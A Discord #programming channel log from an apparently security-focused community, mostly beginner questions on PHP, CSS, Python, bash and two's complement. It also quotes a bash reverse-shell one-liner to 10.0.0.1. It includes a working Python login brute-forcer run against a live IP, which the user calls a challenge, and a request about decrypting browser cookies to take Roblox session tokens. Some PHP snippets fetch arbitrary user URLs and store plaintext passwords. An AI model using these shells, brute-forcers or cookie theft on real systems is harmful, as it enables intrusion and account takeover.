#programming

1 messages · Page 37 of 1

ancient terrace
#

the site already runs the input through stdin when the program runs

true pumice
#

What's your goal?

ancient terrace
#

output the input 3 times in a single string, spaces included

true pumice
brazen eagle
#

input being an array needs a bit of special treatment first, but that should be easily searchable

ancient terrace
#

@true pumice you can also read input if you pipe cat

#

which is in this case easier to do so I won't have to go through every individual line

#

cat is already piped through the website

molten ridge
#

-R is to trace the round trip path

#

Can you show a screenshot with the command you use?

cobalt dew
#

Hello Can A Expert on Javascript and Powershell Hacking join me in a room Please!

#

if anyone is free.

#

i have this Advanced malware i cannot get rid of. they are droping payloads when i surf the web though browser Cache.

silk lotus
#

How did you reach that conclusion

safe wind
ruby parcel
#

Guys, is it worth taking the AWS Cloud Practitioner certification?

#

I'm studying every day to get certified

#

and

#

i want to know if it's worth

#

another question, AWS API Gateway or Kong? I am starting a project and I am between these two. i don't want to be dependent on the AWS API Gateway, but at the same time i want to use the facilities of AWS! AAAAAA so difficult to decide!

fleet reef
#

hi so I have this:

#
<?php
$usernameErr = $emailErr = $passwordErr = "";
$username = $email = $password = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (empty($_POST["username"])) {
      $usernameErr = "Username is required";
    } else {
      $username = ($_POST["username"]);
    }
  
    if (empty ($_POST["email"])) {
      $emailErr = "Email is required";
    } else {
      $email =($_POST["email"]);
    }
  
    if (empty($_POST["password"])) {
      $password = "";
    } else {
      $password = ($_POST["password"]);
    }
$ip = $_SERVER['REMOTE_ADDR'];

}

$username = test_input($_POST["username"]);
if (!preg_match("/^[a-zA-Z-' ]*$/",$username)) {
  $usernameErr = "Only letters and white space allowed";
}

if ($stmt = $GLOBALS['database'] -> prepare("SELECT `id` FROM `users` WHERE `username` = ? OR `email` = ?"))
{
    $stmt -> bind_param("ss", $username, $email);
    $stmt -> execute();
    $stmt -> bind_result($id);

    while ($stmt -> fetch())
    {
        echo "Could not create account!";
        die();
    }

    $stmt -> close();
}

if ($stmt = $GLOBALS['database'] -> prepare("INSERT INTO `users` (`username`, `email`, `password`, `ip`) VALUES (?, ?, ?, ?)"))
{
    $stmt -> bind_param("ssss", $username, $email, $password, $ip);
    $stmt -> execute();
    $last_id = $stmt -> insert_id; // The ID of the row just inserted

    // Once the user is logged in, update the user's session variables
    $_SESSION['id'] = $last_id;
    $_SESSION['username'] = $username;
    $_SESSION['email'] = $email;

    $stmt -> close();

    // Redirect to homepage
    header("Location: " . $GLOBALS['home']);
}

?>
#

this

#

and I just want to add stuff like so if I put a symbol in the username it doesnt work

true pumice
#

Thanks:)

fleet reef
#

didnt know I can do it here too

#

i dont need any server side

#

literally just on the form

true pumice
# fleet reef literally just on the form
$username = preg_replace('/[^a-z]/i', '', $username);

You can use preg_replace to replace the symbols form the username.

If you want to display an error, you will have to do something like this:

if (!preg_match("/[a-z0-9]/i", $username){
  echo "<p>Username field has invalid characters!</p>";
}

*Not sure if this works, just an example so that you know what you're doing

fleet reef
#

thank you

onyx merlin
#

Client side filters are trivial to bypass, you just edit the request in burp or remove the filter in your browser

brazen eagle
#

also PHP is all server-side anyways

hollow dagger
#

I am googling to check but just in case .... what can you in C# that you cannot in C or C++ ?

surreal bronze
#

Just out of pure curiosity is there any difference in speed between if not x in list and if x not in list ?

surreal bronze
#

Which one is more cleaner to use? I'm gonna say if x not in list not too sure

true pumice
#

Hold on that output is wrong lol

#

Okay, so

#

They're pretty much the same because they're both doing the same thing

#

But, if x not in list is much cleaner due to it being hinting when someone is reading your code if they are a Python developer
In JavaScript, you would use if (!var) (depending), so if not x would make more sense to them, possibly, but either way they're both pretty readable.

magic falcon
#

I'll throw in that I think Jabba is on the right track to get a reasonable metric - not sure how big sample size is, but it should be 'sufficiently large'. Usually that means at least a few thousand elements in the list.
Another thing to keep in mind, is that the py environment is going through multiple layers of abstraction before your code hits execution on the CPU. System time and Wall time are different, and the scheduler will likely cause additional complications getting consistent timing out of that kind list iteration.
Consider real world problems are doing different kinds of matching. What if the list has an element type of string, is a specific object or is even generalized to as a list of Object?

magic falcon
real iron
#

hello

#
    <ul class="menu">
        <li><a href="./recipes/Risotto.html"><img src="./resources/Risotto.png" alt="Risotto Dish"></a></li>
        <li><a href="./recipes/Risotto.html">Barley & Broccoli Risotto with Lemon & Basil</a></li>
        <li><a href="./recipes/EggSalad.html"><img src="./resources/EggSalad.png" alt="Egg Salad Dish"></a></li>
        <li><a href="./recipes/EggSalad.html">Egg Niçoise salad</a></li>
    </ul>
.menu li {
    display: inline;
}
.menu {
    list-style-type: none;
    text-align: center;
    padding-top: 5%;
}

how can i make the text below the image? not beside it

lyric mirage
#

font-size: size wanted ?

real iron
lyric mirage
#

font-size: x-large

real iron
lyric mirage
#

Well, it's bigger?

real iron
#

but i want the text under the image

lyric mirage
#

Oh yeah. wahaha

#

I think it's text-align: centre

real iron
#

no

#

its in a list

#

but i want it under the image not beside it

magic falcon
#

You'll probably need to wrap each list item in a custom <div> to get the layout of the content you want

real iron
#

when i put it on a separate div it puts the other image on a new line

onyx merlin
#

Read about CSS Flex and CSS Grid

#

Aligning things is hard

true pumice
#

Custom CSS works wonders

real iron
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

real iron
brazen eagle
#

Our comprehensive guide to CSS flexbox layout. This complete guide explains everything about flexbox, focusing on all the different possible properties for the parent element (the flex container) and the child elements (the flex items). It also includes history, demos, patterns, and a browser support chart.

Our comprehensive guide to CSS grid, focusing on all the settings both for the grid parent container and the grid child elements.

real iron
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

red fable
#

I have a funny problem. It made me laugh because
I don't understand what happened.

I made a simple script to sort wordlists:
for line in $( cat /usr/share/wordlists/rockyou.txt | sort ); do echo $line; done > ckooruy.txt

the output file looks something like :

#

It prints STDOUT just fine.

#

but this redirect seems to be an issue

#

I'm not sure why it's all in machine code

#

or a better option than >

#

my 'guess' it's all translated, but > doesn't un-translate it... not sure but it's curious and i found it funny

valid sand
#

I think your issue is that you seem to be redirecting the for loop, not the echo

red fable
#

It does work if I simply 'echo'. It will write everything out in STDOUT

valid sand
#

no i mean

#

you've got the redirect after done, which is for the for-loop, not after the $line which would be for the echo

red fable
#

hmm

#

i'll try and get back to you

valid sand
#

Though I question the necessity for the for-loop in the first place, can't you just use sort /usr/share/wordlists/rockyou.txt > ckooruy.txt?

valid sand
faint sparrow
red fable
#

I'll try both

red fable
#

None of it's human-readable

faint sparrow
#

you sure? if i run the exact same command it does what it's supposed to do
a ton of passwords in the list don't contain letters and symbols are put in first on sorting, you just have to scroll low enough

red fable
#

it never printed those in stdout, that's weird...

#

maybe i don't fully understand, then

#

(the strange characters)

faint sparrow
#

depending on the program you use, they may be shown in different ways

valid sand
faint sparrow
#

so in an edfitor they might show up but on terminal they might just be invisible

#

they are unprintable after all

red fable
#

I'll check the whole thing again and see. I'm just trying to make it complicated for the sake of 'learning'

#

but i also didn't think to just use normal commands

#

no loop

#

hmmm... i dunno

#

that's the end

#

so it's entirely.... whatever that is. Binary?

#

No idea

faint sparrow
#

those might be some of those weird characters that aren't printed correctly in some cases

red fable
#

this is all there is, lol

#

no clue... well.

red fable
faint sparrow
#

most likely it doesn't hang, but it's just slowly redirecting the data

#

remember, sorting a big file takes a bit

#

but then you run redirect for each line separately

#

which takes a long time

red fable
#

ahh, good point

#

hmmm... still the same result. It's so weird.

#

it's strange. I'll move on, for now.
Maybe try to figure it out later.

red fable
#

lol brb

brazen eagle
#

Instead of redirection operators

#

sort file | tee output

tropic minnow
#

eh, might need tee -a so you don't keep overwriting the output

red fable
#

I want one, clean list

brazen eagle
#

-a is append

red fable
#

brb, gonna read on it. haha

brazen eagle
#

But there are weird things in rockyou

red fable
brazen eagle
#

Yes

#

Mobile is being stupid again

true pumice
red fable
#

ahh, nice. It writes it out, then redirects

#

the stdout is annoying but i guess it's an easy fix

#

and yeah, i guess the katakana was part of the file. I never knew that...

#

huh...

#

if that's the case, normal redirect might work. I was jumping to the end of the file, expecting to see "z"

#

that's what i get for assuming

brazen eagle
#

Tee will stdout yeah

#

You can normal redirect after debugging but I assumed you wanted console

red fable
#

thanks @brazen eagle @tropic minnow @lilac holly

wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

red fable
#

only gives 1.. LegosiSad

brazen eagle
#

+rep @tropic minnow

wispy kestrelBOT
#

Gave +1 Rep to @tropic minnow

sinful notch
#

Out of curiosity, anyone here with an abundance of knowledge about twos compelement

#

It has been bugging me for days

magic falcon
#

Many of us have degrees in CompSci. What's your question?

sinful notch
#

I understand we create a cyclic group of Z/2^k, but the addition of 1 i dont fully grasp why it works

#

I know cyclic groups have 2 primitive numbers

#

I know we find these with ord(n)=1

#

Do we use this to generate a group/from this group to find its inverse?

#

Couldnt find any papers about this

magic falcon
#

I think you are misunderstanding what Z is

#

And how it applies to binary

#

Have you read the wikipedia article on 2's complement?

sinful notch
#

Yes, i understand how it works in practice

#

I dont understand the math behind on the addition step

#

Like in

#

Take 5, signed int, big-endian

#

0101

#

Flip bits

#

1010

#

Add one

#

1011

#

Because 8 4 2 1

#

1011 - signed int, start with 1 means neg

#

First 1 is -8

#

011 is positive 3

#

-8 + 3 = -5

#

I have trouble understanding why the addition of 1 gives us these capabilities

sinful notch
#

So in this example i understand we work with modulo 2^8

#

Flip bits we move to neg side

#

Adding 1 then must mean somekind of buffer has to exist right?

brazen eagle
#

I think it may be about representing 0

#

Gods that course was so long ago

#

Say you have -0, then in one's complement it'll be 1111. Add one for 2's complement and you're back to 0000

#

Dropping the overflow bit

sinful notch
#

Ah that would make sense

#

God should have taken cs lol

brazen eagle
#

-1 would be 1111, -2 : 1110, ...

sinful notch
#

It has to then buffer second bit also?

brazen eagle
#

Eh?

#

Well it makes the math work for addition better as well... -2 + 3 = 1110 + 0011 = 0001

#

(dropping the overflow)

sinful notch
#

Oh yeah right

wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

brazen eagle
#

Pretty sure modulo arithmetic is to blame though

#

-1 % 16 = 15

#

Unless I'm remembering wrong, it's been over 15 years ..

sinful notch
#

Youre right on that

brazen eagle
#

Modulo gets weird with negatives

sinful notch
#

It does

#

And with cyclic groups even weirder

brazen eagle
#

Never got that far into number theory, I'm an engineer

sinful notch
#

I find myself struggling with basics on many programming task mainly because my base knowledge was built on top of Matlab

#

Signed ints are quite hard to work with tbh, especially with asymmetric encryption

#

Weird route of network engineering -> pure math -> cybersec/cryptology

brazen eagle
sinful notch
somber parcel
#

Is there any fast way to select a file in a linux shell after running ls?

stoic badger
#

What do you mean "select a file"? ls just lists files in a directory. You can interact with a file from wherever your want on the OS by using an absolute path

$ pwd
/opt
$ ls /home/kali/Desktop
file.txt
$ head -n 1 /home/kali/Desktop/file.txt
This is a completely made up file
$ cat /home/kali/Desktop/file.txt
This is a completely made up file
Something something text
somber parcel
#

yes, but you would need to type the absolute path or file name

#

e.g. in metasploit I'm able to select search results by number

#

which is much fast then typing the path of the exploit

onyx merlin
#

You can use tab completion

#

This also isn't programming

somber parcel
onyx merlin
somber parcel
#

ok, thanks, tab completion works well

lilac holly
#
        current_mail = i.removesuffix("\n")
        current_mail.encode('utf8')
        print(type(current_mail))
        print(type(smtp_data[2]))
        print(type(message))
        smtp.sendmail(smtp_data[2], current_mail, message.as_string())```
Exception has occurred: AttributeError
'list' object has no attribute 'encode' on last line
output is ```
<class 'str'>
<class 'str'>
<class 'email.mime.multipart.MIMEMultipart'>```
#

is this a bug?

brazen eagle
lilac holly
brazen eagle
#

without seeing more context, I cannot say

safe wind
#

what is the meaning of '%' in python? return "%i %i" % (max(nn),min(nn))

onyx merlin
#

It's being used for formatting there

#

It has multiple meanings

safe wind
safe wind
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

little hawk
#

please help me
I decided to study the Lua language, but i dont understand anything in the book made by Roberto Ierusalimschy

function fact(n)
if n == 0 then
return 1
else
return n * fact(n-1)
end
end
print("enter a number:")
a = io.read("*n") -- reads a number
print(fact(a))```

what? I thought that I would study lua, and not try to find a word here that I know.
is there any site with the basics of programming?
#

this is the first chapter

glossy vapor
little hawk
#

all this code

glossy vapor
#

Any reason why you chose lua specifically?

#

Because you have the book at hand or because you're interested in the language?

little hawk
#

interested in the language

#

I know absolutely nothing about programming, should I read another book

glossy vapor
#

I wouldn't start out with books, they might be tough to follow. If you're just getting into programming, try looking for a cheap course for beginners. Probably on Udemy

#

(They go for $10 almost always)

little hawk
#

ok, thanks

glossy vapor
# little hawk ok, thanks

Also, lua is kinda niche. Python might have more use cases in general and is probably easier to follow

true pumice
#

What are you trying to learn Lua for? @little hawk

little hawk
#

I dont know yet

#

probably games

true pumice
#

Have you considered any alternative languages?

little hawk
#

no

true pumice
#

Before starting a project, you need to determine the best programming language for the task.
Will save you a lot of time down the line

little hawk
#

vent ok, thank you

glossy vapor
# little hawk probably games

Look into C# for Absolute Beginners by Bob Tabor (it's free). I'm a Unity Dev (for now hopefully) for a few years and it's what got me started

acoustic jacinth
#

Hi, i got my hands on a cookie decrypter for a program im making and it seems to be getting the cookies from the wrong path? Because the cookies im looking for( ROBLOSECURITY(using this as a base due to its major security flaw)) isnt there

#

(its in python)

lyric mirage
#

Why does this seem related to Roblox...

acoustic jacinth
#

Because of its flaw?

#

Its a base for now, ill move onto other things but it seems faster to use

lyric mirage
#

@sly breach still around?

sly breach
acoustic jacinth
#

Im on summer break so 🤷

true pumice
acoustic jacinth
#

ah i see, sorry for the disturbance then

hollow dagger
grave salmon
#

tbh, you wouldn't be doing bug bounties on public channels with other ppl looking either. that pretty much violates any responsible disclosure clause in a program

#

also can I DM ?

#

right gimme a sec, just finishing a thing

sleek pendant
#

Hey guys, im trying to figure out what formatting type or encoding type C supports: JSON,...
Trying to make cli based program and have to write data in a file and then retrieve it and eddit it if needed. Any suggestions

brazen eagle
#

It depends on what you need though. What kind of data are you storing?

sleek pendant
#

text. Just simple text

#

lets say:

#

Person:

  • Age: 18
  • Country: England,....
#

tc.

#

etc*

brazen eagle
#

Should be some JSON or yaml parsing libs though

magic falcon
#

A lot of languages have XML/YAML/JSON/TOML to associative structures libraries.

vestal carbon
halcyon sphinx
#



$exact_url = $_POST['url'];

if (!is_null($exact_url)) {
    $url = $exact_url;

    $fh = fopen("uploads/".date("Y-m-d"), "w");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FILE, $fh);
    curl_exec($ch);
    curl_close($ch);
}

?>


<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Upload</title>
    <link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>

<h1>Login</h1>
<form method="POST" action="index.php">
  <div class="row">
    <label for="email">URL</label>
    <input type="text" name="url" placeholder="http://localhost:8000/somefile.ext">
  </div>
  <button type="submit" name="submit">Login</button>
</form>


</body>
</html>
``` i am trying to download files through curl in php and before adding some css to it, files were downloading to my uploads directory but after that its not downloading,i can see that it makes it hit to my local webserver
faint sparrow
#

@halcyon sphinx date("Y-m-d") returns the day, so unless the day changes it will try writing to the same exact file overwriting it, probably would want to change that to something that won't collide
also you're missing a fclose($fh); after curl_close

halcyon sphinx
wispy kestrelBOT
#

Gave +1 Rep to @faint sparrow

lilac holly
#

There is really now way to do this over chat because the exercise give instructions

clear lodge
#

can you ask your professor?

lilac holly
#

I can't share screen shots?

clear lodge
#

why not ask your professor, they are there to guide you right 🙂

#

you need to verify before you can share images

#

!docs verify

narrow terraceBOT
clear lodge
#

isnt it easier to ask this in a js / programming discord server?

spring crown
#

Guys, I began to make videos on how to program with C, I want feedback from you https://youtu.be/7ihLRoX1qUc

This is the first video from a series of videos that we will work on to help people learn how to code.

Contents:

  • History
  • Hello, World explanation
  • Compilation process (Preprocessor, Compiler, Linker)
  • Comments
  • Exercises

#programming #c_programming #computerscience #dev #programminglanguage #programmingprimer #dev_academy #development ...

▶ Play video
glossy vapor
#

You might want to use a blog instead, since it seems like it's much easier to follow and you'd iterate through it faster

#
  • a blog is a better reference in your CV than youtube videos (usually)
#
  • you need to think of your target audience here. I bet almost every beginner C developer won't know what Kali is and won't be able to use the terminal properly. Use VSCode or similar so they have a friendly environment to learn in
onyx merlin
#

Also why Kali?

sullen venture
# spring crown Guys, I began to make videos on how to program with C, I want feedback from you ...
  • might want to start writing scripts (not the programming kind, the "director"-kind) if you want to continue with videos. what you're doing, what you're saying, how long it takes, etc.
  • as dextozz said, do voiceovers. code first, then voice over. you're not live coding on twitch
  • write the code before you record, have it on another screen and type it from there
  • record what you're saying in small bits. a few sentences max. nobody wants to hear you think or breath ('uhm', 'uuuhhhh', breathes in microphone)
  • audio recording is a b*tch and getting it right takes a while. short sequences, clear & confident speech, don't have the mic close to your nose or mouth, use a pop-filter, etc.. that's something you have to practice and it will frustrate you in the beginning
  • and why the heck kali?
spring crown
#

Thank you so much guys for all your feedbacks, or I will try next time to do a tryhackme walkthrough, still I don't know actually.

  • For Kali, because I have ideas in my mind to teach things related to security for advanced users, like buffer overflow and things like reverse engineering, etc. but I guess you're right could be easy and better to have the work done on vscode.
  • For the quality, yes absolutely right, I worked the video with my headset that I have on my job as a technical IT, and for recording I did that with OBS, and I had no idea how to do better, but now I will try to improve that.
    Thank you @glossy vapor @onyx merlin @sullen venture for your great feedback.
wispy kestrelBOT
#

Gave +1 Rep to @glossy vapor

cursive orchid
#

where the excel pros at
i have home\folder\subfolder\test.xml
and i want to get everything up until the last \
so for that it would be home\folder\subfolder

magic falcon
#

regex

cursive orchid
#

yes

#

i think i have it

true pumice
#

Are you looking to do it via VBA with a macro button? Would probably be the easiest

cursive orchid
#

nah just plain old excel

#

i got it now tho dw

bright junco
#

i just spent hours debugging a project because i had an == instead of =... i've been programming for 5 years and this stuff still gets me

onyx merlin
#

Wait til you have == instead of ===

bright junco
#

That's happened waay more often. I blame TypeScript.

hollow sorrel
#

awk '/^ *-w/ \ &&(/\/etc\/group/ \ ||/\/etc\/passwd/ \ ||/\/etc\/gshadow/ \ ||/\/etc\/shadow/ \ ||/\/etc\/security\/opasswd/) \ &&/ +-p *wa/ \ &&(/ key= *[!-~]* *$/||/ -k *[!-~]* *$/)' /etc/audit/rules.d/*.rules

#

i keep getting backslash not last character on line but it is the last character oh my god

lilac holly
#

I feel like trying to get employment in Java but I also like PHP but like idk if PHP I will get hired.

#

well idk if I'll get hired in either 😄

brazen eagle
#

If you're a competent developer you will get hired

#

Regardless of the language

#

Good java and PHP devs are in short supply

lilac holly
#

omg

#

shutdown -i

#

🤡

lilac holly
wispy socket
#

i have a login page that when i put the incorrect password it show me "Invalid", the question is how to make a simple if to check if the passwword is correct ?

#
import requests
import os
import sys
import hashlib



username = "Alex".encode("utf-8").hex()

wordlist = "rockyou.txt"

with open(wordlist, "r") as wordlist:
    for x in wordlist:
        password = hashlib.sha512()
    
    r = requests.get("http://34.141.121.244:31342/auth?name=" + name + "&password=" + password)
    if 'Invalid' not in r.text:
        print(r.text)
        
        
    print(r.text)

#

http://34.141.121.244:31342/auth?name=416c6578&password=6226ff0e50b5313f287a6904ecf242b67d00d28bd211ddae51e8f044d24de0defd4daaa32eecac9bb13f9d2fe462941838937f16613aafdd075075ef9dfe7b64

#

this is the request

magic falcon
#

@wispy socket

wispy socket
#

is a challenge

#

@magic falcon

#
import requests
import os
import sys
import hashlib



username = "416c6578"

def main():

with open("rockyou.txt", "rb") as wordlist:
    for x in wordlist.readlines():
        password = hashlib.sha512(x.strip()).hexdigest()
    
    r = requests.get("http://34.141.121.244:31342/auth?name=" + username + "&password=" + password)
    if 'Invalid' not in r.text:
        print(r.text)
        break
     print(r.text)

main()
#

now i dont know how it work break function

#

damn, python beats me

magic falcon
#

You should re-examine what you think is supposed to happen

#

are you doing any step-through debuggin?

wispy socket
#

im sure this is the correct way, the problem is that the python is not my best friend

magic falcon
#

What have you done to determine your logic is correct?

wispy socket
#

so, the user is Alex, and i need to find the password, when the password is incorrect it shows me INVALID.

magic falcon
#

The problem isn't with python, if the code you pasted looks exactly like what is in your editor, it's structural.

wispy socket
#

i have a problem with the last condition

#

if the password is correct, how to make the program to show me the flag

#

i think is a problem with "break"

wispy socket
#

i solved

#
import requests
import os
import sys
import hashlib
import codecs


username = "416c6578"


def main():
    with codecs.open("rockyou.txt", "rb") as wordlist:
        for x in wordlist.readlines():
            password = hashlib.sha512(x.strip()).hexdigest()
            r = requests.get("http://35.242.216.162:30251/auth?name=" + username + "&password=" + password)
            if 'Invalid' not in r.text:
                print(r.text)
                break
            print(r.text)

main()
magic falcon
#

Yep.

wispy socket
#

there were some indentation errors

#

some tabs put incorrectly

orchid mesa
#

nice

fiery linden
#

can someone explain what** >&** does in
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

whole yacht
#

it redirects both stderr and strout to the specified file.

untold iris
#

Is it possible to delete arrays/tuples in python

#

If I slice all the data an error comes

#

nvm

fiery linden
lament siren
#

Try adding your declaration for your menuItems variable within your activeChanger function expression. I think right now it's not actively refreshing your nodeList everytime the function is called.

weak ridge
#

Hi guys

#

I need devloper

#

Fast

pale arch
magic falcon
pale arch
#

I don’t speak Spanish tbh

#

I got an A on my Spanish 1 final tho

lilac holly
#
from selenium import webdriver
import time
chrome_options = Options()
PROXY = "62.113.115.94:16072"

chrome_options.add_argument(f'--proxy-server={PROXY}')

driver = webdriver.Chrome("chromedriver.exe",options=chrome_options)

driver.get("https://api.ipify.org/?format=json")
time.sleep(20)```
any idea why I am getting a "ERR_RESPONSE_HEADERS_TRUNCATED"?
earnest compass
wispy kestrelBOT
#

Gave +1 Rep to @hollow dagger

mystic trellis
#

guys quick help with a pygame project !!!!

brazen eagle
#

ask the question, someone may answer

mystic trellis
#

i've created a shooter game and i want to display the score when a bullet hits the enemy but the counter doesnt work its only displayed in the screen

lament siren
mystic trellis
#

global Hits
Hits=0
for b in bulletGr:
if pygame.sprite.spritecollide(b,invaders,True):
b.kill()
Hits=Hits+1
e=Enemy(player_image2,randint(4,8),randint(20,500),player_y2)
invaders.add(e)
font1 = pygame.font.Font(None, 30)
text_lose = font1.render("Hits: " + str(Hits), True, (200, 50, 255))
window.blit(text_lose,(20,60))

untold iris
#

Where else is the counter supposed to be displayed?

#

can you explain your error once again?

surreal bronze
#

Just a heads up, don't use global

magic falcon
#

There are certain times when it's OK-ish. But really, polluting global namespace that way is a terrible idea.

upper remnant
#

i just got an idea for a game:

#

what if there was a game where the main theme an 8bit version of its just a burning memory, and slowly turned into the actual song and at the beginning of the game you think its a normal game but as the game goes on there are slowly more game, terrain, and ui elements dissapearing and the colors and vibrance of the game slowly faded away until you reached the end of the game, which would be just a flat black and white area, and then when the person would least expect it, the game goes black, with the title of the game, but colorless and distorted. The game window would automatically close and the games own files would then further be deleted, leaving only a burning memory
it would be like a super mario 64 low poly type game
And then in teh game there would be like a single existential dread among all of the npc's. Like theyre all waiting for something to happen. but nothing ever happens, leaving all of them at the same spot for the entirety of the game
but wat do i know ¯(ツ)/

glossy vapor
upper remnant
#

probably a .bat file or something

wraith eagle
#

Hello
on Kali system, I was returning the internet back after disabling it for activating monitor-mode.However I got an error while restoring wifi

#

how I can return wifi with monitor mode activated.

#

I wrote this code: service network-manager restart

#

But I will get this error

#

Failed to restart network-manager.service: Unit network-manager.service not found.

magic falcon
#

Do you understand how to troubleshoot problems with systemd?

#

Where to start, logs, what network-manager is?

wraith eagle
#

TBH, I started learning Kali last 1 day

#

So, do not be shy

#

:_)

magic falcon
#

Have you ever used linux before?

wraith eagle
#

Yes

#

last 3 years

magic falcon
#

Ok, so how familiar are you with systemd?

wraith eagle
#

no

#

I do not remember anything

#

I need to learn it

magic falcon
#

Alright - well, systemd unit.service should be where you start your documentation search

#

Next up is to learn what network-manager is, and what the default network stack is for Kali.

wraith eagle
#

Ohh

#

So I have to make a research on google to have a look on systemd unit.service

magic falcon
#

If you don't know anything about any of that, starting with doing wifi stuff with kali is going to really frustrating and painful.

wraith eagle
#

Yes

#

you are right

#

so where do I start ?

#

🙂

magic falcon
#

What was the linux distro you've been using for 3 years?

wraith eagle
#

I was watching some videos about (ethical programming)

wraith eagle
#

I wasn't entering linux deeply

#

tbh

magic falcon
#

A good beginner distro would be ubuntu or fedora

wraith eagle
#

I was doing some experiment for super low potato pc

#

The first version I used was ubuntu

magic falcon
#

Create a VM, install from ISO.

wraith eagle
#

I already have VM

#

I mean what is the difference between ubuntu and kali

#

You know why I need kali for ?

#

damn it

magic falcon
#

What are you trying to hack?

wraith eagle
#

(ethical hack)

#

please

#

do not make problems to me 😶

magic falcon
#

I'm asking so I can answer your questions better

wraith eagle
#

I am using it for fun and for security

#

Yes for ethical hacking

magic falcon
#

cool

#

so what were you trying to do with monitor mode? trying to understand the commands you ran and the system changes you made

wraith eagle
#

For enabling monitor mode you have to kill all internet tasks

magic falcon
#

If you aren't going to tell me the exact command you ran (preferably with screenshots) it's very difficult to tell what you did.

wraith eagle
#

I run this

#

airmon-ng check kill

#

to kill any progress of wifi or intent

#

and then I used this

#

ifconfig wlan0 down

#

to letting you adjust on wlan0 I think

true pumice
#

Why down?

wraith eagle
#

Do not laugh

#

I am really do not know

#

XDDD

#

I was too lazy to understand why

#

and yes

#

to enable the monitor

#

iwconfig wlan0 mode monitor

#

and then : ifconfig wlan0 up

#

I was trying to activate the connection but it does not work

#

:((

magic falcon
#

you should understand what everything you ran does, first

#

that's step 1

wraith eagle
#

I need pen and note book if you say so

#

np

magic falcon
#

if you are blindly running commands without understanding the reasoning why you should run a command, you are going to eventually brick the system

wraith eagle
#

I know the majority

#

not all

#

but about up and down and why idk

#

until now

wraith eagle
#

Still dead chat

#

weird

onyx merlin
#

The fact you're using ifconfig is a red flag, and the fact this is #programming is another as this isn't programming related

wraith latch
#

Morning!
I've got a Python function that's scraping a website to help look at average house sale prices per city:

def AvgPriceCollector(self):
        for city in BrowserInfo.cities:
            print(f"Data for the city of {city}:\n")
            try:
                session = requests.Session()
                r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
                r.raise_for_status()
                soup = BeautifulSoup(r.text, 'html.parser')
                for child in soup.find_all('table')[1].children:
                    print(child.text)



            except requests.exceptions.Timeout as timeout:
                print(timeout)
            except requests.exceptions.HTTPError as httperror:
                print(httperror)
            except IndexError:
                print(f"No Data\n")```

The function works however the output isn't very easy on the eyes.
How would I best go about 'beautifying' a html table with actual headers, columns, etc?
#

The output for the above currently looks like this

true pumice
#

Websites like that usually do not like when you create tools like this

wraith latch
wraith latch
#

Fixed it by using pandas

#
def AvgPriceCollector(self):
        for city in BrowserInfo.cities:
            print(f"Data for the city of {city}:\n")
            try:
                session = requests.Session()
                r = session.get(BrowserInfo.URL.format(city), headers=BrowserInfo.headers, timeout=(5, 5))
                r.raise_for_status()
                df_list = pd.read_html(r.text)
                df = df_list[0]
                df_head = df.head()
                print(f"{df_head}\n")```
onyx merlin
wraith latch
winged magnet
#

i m working on creating automating web testing tool using bash i need help regarding this can anyone guide me on this

#

i m on voice chat i will share my screen

brazen eagle
prime elk
#

I was given 1 year to complete a student project, at first I planned to do an operating system with native support of running both EXE and ELF files via a service similar to wine or wsl1 that essentially translates the systems calls to system calls of the native OS but I realized the scope would be too big for 1 year so I ended up just choosing to make a tool that does that with multiple operating systems with one interface where you run the executable without having to know or care about the format or what OS it belongs to, my question is, is that project still feasible within the 1 year time scope or should I bring it down a notch again? It seems very interesting and if anyone has more sources to learn from that'd be lovely.

#

OS was too big because then I'd have to also implement processes and file system and some more system calls

#

I guess besides the scope question another question would be, is this a good student project idea? I think it's pretty good and it's kind of innovative given that there's no universal tool that does this, granted, installing multiple softwares is not that much of an issue but having it all at one place is pretty damn cool.

vale rivet
#

Hi guys, can i mount multiple image file system to a single mount point at once rather replacing with previous mounting point?

onyx merlin
onyx merlin
vale rivet
vale rivet
#

It gives such error, did not create ext4 fs

onyx merlin
#

It's not really a programming topic, it's a linux question. Please use #infosec-general

vale rivet
#

ok

winged magnet
wraith latch
# winged magnet i was combining 3 to 4 tools in one so that i don't have to run them one by one ...

I'd suggest you think about which tools you want to combine, then ask yourself how you envision it to work, whether you want to do something with the output returned by any of these tools. You'd need to have a catch for those outputs, potential error messages etc. Might not be best suited to utilize Bash for this, I'd only ever use it to automate a boring task like for example checking a URL and incrementing numbers for let's say a IDOR vulnerability.
it sounds to me like you essentially want a wrapper for those tools, perhaps another language would be better suited?

Either way, don't let me stop you ofcourse. If you want to do it, you will need to start somewhere 🙂

brazen eagle
#

yeah start by automating one tool, then once that works, add another

prime elk
#

I'm gonna implement the compatibility layer functionality

#

I'm not gonna use any framework to do that for me

onyx merlin
#

WSL already does that

prime elk
#

Yeah but I'm not gonna use WSL

onyx merlin
#

It's crazy to take on that workload yourself

#

Terrible terrible idea.

prime elk
#

WSL 2 might be crazy but not WSL 1

onyx merlin
#

It is.

#

Bear in mind the resources and skills available to Microsoft, in comparison to one undergrad

winged magnet
glossy vapor
prime elk
glossy vapor
#

Still... have you added any buffer for it? I'd make on original estimate in hours, then double that time

#

If that then sounds doable, you can pull it off probably

prime elk
#

im on some sort of course managed by that organization

#

where i learn a lot of stuff and then make any project i want

glossy vapor
#

Nice. In that case, come up with an estimate in how many hours it takes for you to execute this. Outline any big unknowns and risks and try to base your estimate on that

prime elk
#

well, what do you think about the idea? is it worth pursuing? is it say, equally educative as making my own OS (in the same timespan of course)?

prime elk
#

@glossy vapor

viral pivot
#

.16..21..20..9..14.

brazen eagle
#

you ok there?

finite cedar
#

yo anyone know java

#

im stuck on my program

inland hazel
#

could you verify and post the code or a screenshot???

#

!docs verify

narrow terraceBOT
onyx merlin
finite cedar
#

yea sorry my copmuter is buggin

finite cedar
inland hazel
#

wow shadow is rustier then shadow thought at this

finite cedar
